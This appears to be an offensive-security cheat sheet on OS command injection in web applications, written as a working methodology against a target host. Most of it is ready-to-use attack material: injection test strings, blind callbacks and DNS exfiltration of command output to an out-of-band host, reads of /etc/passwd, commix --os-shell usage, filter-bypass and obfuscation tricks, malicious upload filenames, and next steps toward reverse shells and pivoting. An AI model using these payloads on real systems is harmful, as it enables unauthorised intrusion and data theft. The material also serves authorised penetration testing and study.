Command Injection
Sections Command Injection
User input ends up in a shell command. The fastest path from web bug to shell.
T=https://target.com
i. Where it lives
Endpoints that obviously call OS commands:
- Ping / traceroute / nslookup / whois tools
- Image conversion (ImageMagick, Ghostscript, libreoffice, ffmpeg)
- PDF generation (wkhtmltopdf, pdfkit, weasyprint, headless Chrome)
- File rename, archive extract (tar, unzip, 7z)
- Backup / export / “send report” features
- Network diagnostics (any “test connectivity”)
- Log viewers calling
grep/tailon disk
Less obvious:
- Filename in upload endpoint (often passed unsanitized to
mv/chmod/convert) - User-Agent / Referer logged via shell scripts
- Health check endpoints calling external tools
- Crontab-style “scheduled task” features
- Image EXIF processing that shells out
- Anywhere a “fancy” feature suggests calling external tooling
Signal that a feature shells out: response latency disproportionate to the work, log messages mentioning binary names, error messages with stderr fragments.
ii. Detection
The classic test set (URL-encode as needed):
;id
|id
&id
&&id
||id
`id`
$(id)
%0aid (newline)
%0did (carriage return)
%26id (encoded &)
%7cid (encoded |)
Inside double quotes:
"$(id)"
"`id`"
Inside single quotes (harder, often needs to break out):
';id;'
';id;#
When response doesn’t change visibly, switch to time-based:
;sleep 5
|sleep 5
$(sleep 5)
`sleep 5`
& ping -c 5 127.0.0.1
Or OOB (the most reliable for blind):
;curl http://abc.oast.live/
$(curl http://abc.oast.live/x)
`wget http://abc.oast.live/y`
;nslookup abc.oast.live
iii. interactsh + Burp Collaborator
OAST is the default for blind detection. Spin up a listener:
interactsh-client
## Or use the public service:
interactsh-client -s https://oast.live
## Or Burp Collaborator from inside Burp
Every payload includes the OAST hostname. When the target shells out, you see the inbound DNS / HTTP in your interactsh terminal.
iv. commix
The sqlmap of command injection. Automates detection, exploitation, shell upgrade.
## URL parameter:
commix -u "$T/ping?ip=127.0.0.1" --batch
## POST body:
commix -u "$T/api/ping" --data 'ip=127.0.0.1' --batch
## Header:
commix -u "$T/" --headers='User-Agent: test*' --batch
## Cookie:
commix -u "$T/" --cookie 'session=abc;ip=127.0.0.1*' --batch
## From Burp request:
commix -r request.txt --batch
Useful flags:
--os=unix ## skip OS detection
--technique=tT ## t=time-based, T=time-based file-based, c=classic, e=eval-based
--prefix=';' --suffix='#'
--all ## try every technique
--os-cmd=id ## one-shot command
--shellshock ## try Shellshock (legacy CVE-2014-6271)
--proxy=http://127.0.0.1:8080
--tor ## via tor proxy
Drop to a shell when commix confirms:
commix -u "$T/ping?ip=127.0.0.1" --batch --os-shell
v. Fuzzing many params at once
When you have a list of endpoints and want quick scoping:
ffuf -u "$T/api/FUZZ?val=%3Bcurl%20http%3A%2F%2Fabc.oast.live" \
-w endpoints.txt -mc all
## Then watch interactsh for hits
Nuclei has command-injection templates that test common patterns:
nuclei -u "$T" -tags rce,cmdi -t http/cves/ -t http/vulnerabilities/
vi. Bypass tricks when input is filtered
When obvious chars (;, |, &) are stripped or quoted:
No spaces
${IFS} ## bash internal field separator = space-equivalent
$IFS$9 ## alternative form
{cmd,arg1,arg2} ## brace expansion separator
< ## redirect-style: cmd</etc/passwd
No slash (when / filtered)
${PATH:0:1} ## first char of $PATH = /
$(echo${IFS}-e${IFS}'\x2f') ## hex /
No keywords (id, cat, ls filtered)
i\d ## backslash inside double quotes is OK
'i'd ## single quote breaks string but keeps content
'i''d ## concatenated literals
"$(echo aWQ=|base64 -d)" ## base64 decode
No quotes
$(printf "%s" id)
$(echo aWQ= | base64 -d)
Bashfuscator for heavy obfuscation
bashfuscator -c 'id' -s 1
## generates a heavily obfuscated equivalent
Globbing for path bypass
/???/??t /etc/passwd ## /bin/cat /etc/passwd
/usr/bin/c*t /etc/passwd
vii. Language-specific gotchas
Different runtimes have different injection sinks. Identification + sink table:
PHP:
system(),exec(),shell_exec(),passthru(),popen(),proc_open()- Backticks:
`cmd` assert()with user input = code executionpreg_replace('/foo/e', $userinput)(e modifier, legacy, still found)
Node.js:
child_process.exec(userinput)→ most dangerous (uses shell)child_process.execSync(),spawn()with shell:trueeval(),Function(),vm.runInNewContext()- Template literal injection in shell helpers (e.g.
shelljs)
Python:
os.system(),os.popen(),subprocess.Popen(shell=True)eval(),exec(),compile()pickle.loads()with user input → see WEB14 Deserialization- f-string SQL/shell building
Ruby:
system(),exec(),eval()- Backticks:
`cmd` %x{cmd}IO.popen(userinput)Kernel.eval(YAML.load(input))
Java:
Runtime.getRuntime().exec(userinput)- note: NO shell by default, so chaining (;,&&) doesn’t work unless input is passed tobash -cProcessBuilder(userinput).start()Runtime.exec(new String[]{"sh","-c",userinput})is the dangerous variant
Perl:
system(),exec(), backticksopen(F, "| $userinput")pipe-to-command via openqx//
viii. ImageMagick (CVE-2016-3714 and variants)
ImageTragick is old but still hits. Test by uploading a crafted file:
## MSL/MVG polyglot, ImageMagick processes the file:
## (see PayloadsAllTheThings/Insecure Magick)
ImageMagick + Ghostscript chain is still active in 2025. Look for any image upload that’s converted server-side (thumbnails, format conversion).
ix. EXIF + filename tricks
When the app processes uploaded files:
## Filename-based:
mv $(printf 'a;id;.jpg') ## if app does `convert "$filename" out.png`
exiftool -Comment='$(id)' x.jpg ## if EXIF is read into a shell command later
x. Tricks worth knowing
Output redirection when there’s no obvious response
The command runs but you can’t see output. Write output to a webroot-readable file:
;id>/var/www/html/r.txt
;id>/tmp/r;cat /tmp/r
DNS exfil for tiny outputs
When the output is small (1-2 lines) and HTTP egress is blocked:
;nslookup `whoami`.oast.live
;dig $(id|base64|head -1).oast.live
Use OAST for confirmation, then in-band for extraction
First confirm injection via OAST DNS (works in nearly all environments). Then escalate to direct shell.
When \n works but ; doesn’t
URL-encode newline: %0a. Lots of apps strip semicolons but pass newlines through:
?host=127.0.0.1%0aid
?host=127.0.0.1%0acurl%20http://oast.live/
Filename with backticks via multipart upload
Some upload handlers shell out for thumbnailing without quoting:
filename="x;id #.jpg"
filename="x`id`.jpg"
filename="$(id).jpg"
xi. References
- PortSwigger - OS command injection
- PayloadsAllTheThings - Command Injection
- HackTricks - Command Injection
- Bashfuscator - obfuscation generator
- GTFOBins - once you have shell, what to do with it
xii. Where it leads
Once id returns output (or sleeps confirm via OAST), it’s full RCE in the web server’s context. Standard next steps:
- Get a stable callback via Reverse Shells
- Land on the host → 03 Shell & Tooling → TTY upgrade
- Local enum → 05 Local Enum
- Pivot deeper if on cloud → Cloud Recon for metadata endpoints